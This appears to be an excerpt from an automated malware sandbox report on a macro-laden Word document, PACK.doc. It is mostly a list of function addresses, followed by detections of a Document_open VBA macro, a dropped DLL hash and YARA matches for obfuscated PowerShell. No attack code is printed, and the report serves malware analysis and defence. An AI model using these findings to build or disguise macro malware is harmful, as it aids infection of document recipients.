Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001E2349 9_2_001E2349
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001E8F49 9_2_001E8F49
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001E9B45 9_2_001E9B45
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001D5B79 9_2_001D5B79
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001D8F78 9_2_001D8F78
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001DE377 9_2_001DE377
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001E1773 9_2_001E1773
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001DC769 9_2_001DC769
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001E0B68 9_2_001E0B68
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001D839D 9_2_001D839D
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001D6D9F 9_2_001D6D9F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001D7998 9_2_001D7998
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001E878F 9_2_001E878F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001DF98C 9_2_001DF98C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001E9586 9_2_001E9586
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001E61B8 9_2_001E61B8
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001E6DB9 9_2_001E6DB9
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001D17AC 9_2_001D17AC
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001E73AC 9_2_001E73AC
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001D69A0 9_2_001D69A0
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001E1BDF 9_2_001E1BDF
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001D9FDC 9_2_001D9FDC
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001E71EF 9_2_001E71EF
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001DD7EB 9_2_001DD7EB
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001E67E9 9_2_001E67E9
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001E3FE7 9_2_001E3FE7
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001E31E2 9_2_001E31E2
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_001EB41F 10_2_001EB41F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_001EEE78 10_2_001EEE78
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_001E2C63 10_2_001E2C63
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_001F3895 10_2_001F3895
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_001E568E 10_2_001E568E
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_001F42DA 10_2_001F42DA
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_001EC0C6 10_2_001EC0C6
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_001F02C3 10_2_001F02C3
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_001E8736 10_2_001E8736
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_001F4B41 10_2_001F4B41
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_001E7B63 10_2_001E7B63
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_001F63C1 10_2_001F63C1
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_001F7A0F 10_2_001F7A0F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_001F340A 10_2_001F340A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_001E9A37 10_2_001E9A37
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_001E4A35 10_2_001E4A35
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_001E2A30 10_2_001E2A30
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_001EE05A 10_2_001EE05A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_001EEA4C 10_2_001EEA4C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_001EF444 10_2_001EF444
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_001F687F 10_2_001F687F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_001F5A61 10_2_001F5A61
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_001F889D 10_2_001F889D
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_001E1280 10_2_001E1280
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_001E48BD 10_2_001E48BD
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_001E80BA 10_2_001E80BA
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_001E60B9 10_2_001E60B9
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_001FA0AF 10_2_001FA0AF
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_001E62A3 10_2_001E62A3
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_001F8ADC 10_2_001F8ADC
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_001E96CD 10_2_001E96CD
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_001F20C5 10_2_001F20C5
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_001E1CFA 10_2_001E1CFA
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_001F26F5 10_2_001F26F5
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_001E88E5 10_2_001E88E5
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_001F12E2 10_2_001F12E2
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_001F7F1F 10_2_001F7F1F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_001F5D1D 10_2_001F5D1D
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_001F8D1C 10_2_001F8D1C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_001F511B 10_2_001F511B
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_001F2B16 10_2_001F2B16
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_001EB112 10_2_001EB112
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_001F0F0C 10_2_001F0F0C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_001F7D03 10_2_001F7D03
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_001E153C 10_2_001E153C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_001EBB3A 10_2_001EBB3A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_001EF536 10_2_001EF536
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_001F0D33 10_2_001F0D33
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_001EB75F 10_2_001EB75F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_001E6754 10_2_001E6754
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_001F2349 10_2_001F2349
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_001F8F49 10_2_001F8F49
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_001F9B45 10_2_001F9B45
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_001E8F78 10_2_001E8F78
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_001E5B79 10_2_001E5B79
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_001EE377 10_2_001EE377
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_001F1773 10_2_001F1773
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_001EC769 10_2_001EC769
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_001F0B68 10_2_001F0B68
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_001E6D9F 10_2_001E6D9F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_001E839D 10_2_001E839D
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_001E7998 10_2_001E7998
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_001F878F 10_2_001F878F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_001EF98C 10_2_001EF98C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_001F9586 10_2_001F9586
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_001F6DB9 10_2_001F6DB9
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_001F61B8 10_2_001F61B8
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_001E17AC 10_2_001E17AC
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_001F73AC 10_2_001F73AC
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_001E69A0 10_2_001E69A0
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_001F1BDF 10_2_001F1BDF
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_001E9FDC 10_2_001E9FDC
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_001F71EF 10_2_001F71EF
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_001ED7EB 10_2_001ED7EB
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_001F67E9 10_2_001F67E9
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_001F3FE7 10_2_001F3FE7
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_001F31E2 10_2_001F31E2
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001EB41F 11_2_001EB41F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001EEE78 11_2_001EEE78
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001E2C63 11_2_001E2C63
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001F3895 11_2_001F3895
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001E568E 11_2_001E568E
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001F42DA 11_2_001F42DA
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001EC0C6 11_2_001EC0C6
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001F02C3 11_2_001F02C3
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001E8736 11_2_001E8736
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001F4B41 11_2_001F4B41
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001E7B63 11_2_001E7B63
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001F63C1 11_2_001F63C1
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001F7A0F 11_2_001F7A0F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001F340A 11_2_001F340A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001E9A37 11_2_001E9A37
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001E4A35 11_2_001E4A35
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001E2A30 11_2_001E2A30
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001EE05A 11_2_001EE05A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001EEA4C 11_2_001EEA4C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001EF444 11_2_001EF444
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001F687F 11_2_001F687F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001F5A61 11_2_001F5A61
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001F889D 11_2_001F889D
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001E1280 11_2_001E1280
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001E48BD 11_2_001E48BD
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001E80BA 11_2_001E80BA
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001E60B9 11_2_001E60B9
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001FA0AF 11_2_001FA0AF
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001E62A3 11_2_001E62A3
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001F8ADC 11_2_001F8ADC
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001E96CD 11_2_001E96CD
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001F20C5 11_2_001F20C5
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001E1CFA 11_2_001E1CFA
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001F26F5 11_2_001F26F5
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001E88E5 11_2_001E88E5
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001F12E2 11_2_001F12E2
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001F7F1F 11_2_001F7F1F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001F5D1D 11_2_001F5D1D
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001F8D1C 11_2_001F8D1C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001F511B 11_2_001F511B
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001F2B16 11_2_001F2B16
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001EB112 11_2_001EB112
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001F0F0C 11_2_001F0F0C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001F7D03 11_2_001F7D03
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001E153C 11_2_001E153C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001EBB3A 11_2_001EBB3A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001EF536 11_2_001EF536
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001F0D33 11_2_001F0D33
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001EB75F 11_2_001EB75F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001E6754 11_2_001E6754
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001F2349 11_2_001F2349
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001F8F49 11_2_001F8F49
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001F9B45 11_2_001F9B45
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001E8F78 11_2_001E8F78
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001E5B79 11_2_001E5B79
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001EE377 11_2_001EE377
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001F1773 11_2_001F1773
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001EC769 11_2_001EC769
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001F0B68 11_2_001F0B68
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001E6D9F 11_2_001E6D9F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001E839D 11_2_001E839D
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001E7998 11_2_001E7998
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001F878F 11_2_001F878F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001EF98C 11_2_001EF98C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001F9586 11_2_001F9586
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001F6DB9 11_2_001F6DB9
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001F61B8 11_2_001F61B8
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001E17AC 11_2_001E17AC
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001F73AC 11_2_001F73AC
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001E69A0 11_2_001E69A0
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001F1BDF 11_2_001F1BDF
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001E9FDC 11_2_001E9FDC
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001F71EF 11_2_001F71EF
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001ED7EB 11_2_001ED7EB
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001F67E9 11_2_001F67E9
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001F3FE7 11_2_001F3FE7
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001F31E2 11_2_001F31E2
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_0022B41F 12_2_0022B41F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_00222C63 12_2_00222C63
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_0022EE78 12_2_0022EE78
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_0022568E 12_2_0022568E
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_00233895 12_2_00233895
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_002302C3 12_2_002302C3
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_0022C0C6 12_2_0022C0C6
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_002342DA 12_2_002342DA
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_00228736 12_2_00228736
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_00227B63 12_2_00227B63
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_00234B41 12_2_00234B41
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_002363C1 12_2_002363C1
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_00222A30 12_2_00222A30
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_00229A37 12_2_00229A37
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_00224A35 12_2_00224A35
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_0023340A 12_2_0023340A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_00237A0F 12_2_00237A0F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_00235A61 12_2_00235A61
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_0023687F 12_2_0023687F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_0022F444 12_2_0022F444
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_0022EA4C 12_2_0022EA4C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_0022E05A 12_2_0022E05A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_002262A3 12_2_002262A3
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_0023A0AF 12_2_0023A0AF
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_002280BA 12_2_002280BA
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_002260B9 12_2_002260B9
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_002248BD 12_2_002248BD
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_00221280 12_2_00221280
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_0023889D 12_2_0023889D
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_002312E2 12_2_002312E2
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_002288E5 12_2_002288E5
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_002326F5 12_2_002326F5
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_00221CFA 12_2_00221CFA
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_002320C5 12_2_002320C5
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_002296CD 12_2_002296CD
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_00238ADC 12_2_00238ADC
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_00230D33 12_2_00230D33
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_0022F536 12_2_0022F536
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_0022BB3A 12_2_0022BB3A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_0022153C 12_2_0022153C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_00237D03 12_2_00237D03
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_00230F0C 12_2_00230F0C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_0022B112 12_2_0022B112
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_00232B16 12_2_00232B16
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_0023511B 12_2_0023511B
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_00237F1F 12_2_00237F1F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_00235D1D 12_2_00235D1D
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_00238D1C 12_2_00238D1C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_0022C769 12_2_0022C769
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_00230B68 12_2_00230B68
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_00231773 12_2_00231773
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_0022E377 12_2_0022E377
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_00228F78 12_2_00228F78
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_00225B79 12_2_00225B79
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_00239B45 12_2_00239B45
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_00232349 12_2_00232349
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_00238F49 12_2_00238F49
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_00226754 12_2_00226754
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_0022B75F 12_2_0022B75F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_002269A0 12_2_002269A0
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_002217AC 12_2_002217AC
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_002373AC 12_2_002373AC
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_00236DB9 12_2_00236DB9
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_002361B8 12_2_002361B8
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_00239586 12_2_00239586
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_0023878F 12_2_0023878F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_0022F98C 12_2_0022F98C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_00227998 12_2_00227998
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_00226D9F 12_2_00226D9F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_0022839D 12_2_0022839D
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_002331E2 12_2_002331E2
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_00233FE7 12_2_00233FE7
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_0022D7EB 12_2_0022D7EB
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_002367E9 12_2_002367E9
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_002371EF 12_2_002371EF
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_00231BDF 12_2_00231BDF
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_00229FDC 12_2_00229FDC
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_001EB41F 13_2_001EB41F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_001EEE78 13_2_001EEE78
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_001E2C63 13_2_001E2C63
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_001F3895 13_2_001F3895
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_001E568E 13_2_001E568E
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_001F42DA 13_2_001F42DA
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_001EC0C6 13_2_001EC0C6
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_001F02C3 13_2_001F02C3
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_001E8736 13_2_001E8736
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_001F4B41 13_2_001F4B41
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_001E7B63 13_2_001E7B63
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_001F63C1 13_2_001F63C1
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_001F7A0F 13_2_001F7A0F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_001F340A 13_2_001F340A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_001E9A37 13_2_001E9A37
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_001E4A35 13_2_001E4A35
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_001E2A30 13_2_001E2A30
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_001EE05A 13_2_001EE05A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_001EEA4C 13_2_001EEA4C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_001EF444 13_2_001EF444
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_001F687F 13_2_001F687F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_001F5A61 13_2_001F5A61
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_001F889D 13_2_001F889D
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_001E1280 13_2_001E1280
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_001E48BD 13_2_001E48BD
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_001E80BA 13_2_001E80BA
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_001E60B9 13_2_001E60B9
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_001FA0AF 13_2_001FA0AF
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_001E62A3 13_2_001E62A3
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_001F8ADC 13_2_001F8ADC
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_001E96CD 13_2_001E96CD
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_001F20C5 13_2_001F20C5
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_001E1CFA 13_2_001E1CFA
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_001F26F5 13_2_001F26F5
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_001E88E5 13_2_001E88E5
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_001F12E2 13_2_001F12E2
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_001F7F1F 13_2_001F7F1F
Document contains an embedded VBA macro which executes code when the document is opened / closed
Source: PACK.doc OLE, VBA macro line: Private Sub Document_open()
Source: VBA code instrumentation OLE, VBA macro: Module Wm_t404p8v_, Function Document_open Name: Document_open
Document contains embedded VBA macros
Source: PACK.doc OLE indicator, VBA macros: true
Dropped file seen in connection with other malware
Source: Joe Sandbox View Dropped File: C:\Users\user\C3re5c3\Di_p3c9\O_5Z.dll 323F6431FB274E90DC003E567C54CB5E2327E9408F903E49CC6F3E840BF9BCF6
Yara signature match
Source: 00000005.00000002.2096562119.0000000000296000.00000004.00000001.sdmp, type: MEMORY Matched rule: PowerShell_Case_Anomaly date = 2017-08-11, author = Florian Roth, description = Detects obfuscated PowerShell hacktools, reference = https://twitter.com/danielhbohannon/status/905096106924761088, license = https://creativecommons.org/licenses/by-nc/4.0/, score =
Source: 00000005.00000002.2096633057.0000000001B66000.00000004.00000001.sdmp, type: MEMORY Matched rule: PowerShell_Case_Anomaly date = 2017-08-11, author = Florian Roth, description = Detects obfuscated PowerShell hacktools, reference = https://twitter.com/danielhbohannon/status/905096106924761088, license = https://creativecommons.org/licenses/by-nc/4.0/, score =
Source: O_5Z.dll.5.dr Static PE information: Section: .rsrc ZLIB complexity 0.994955920298
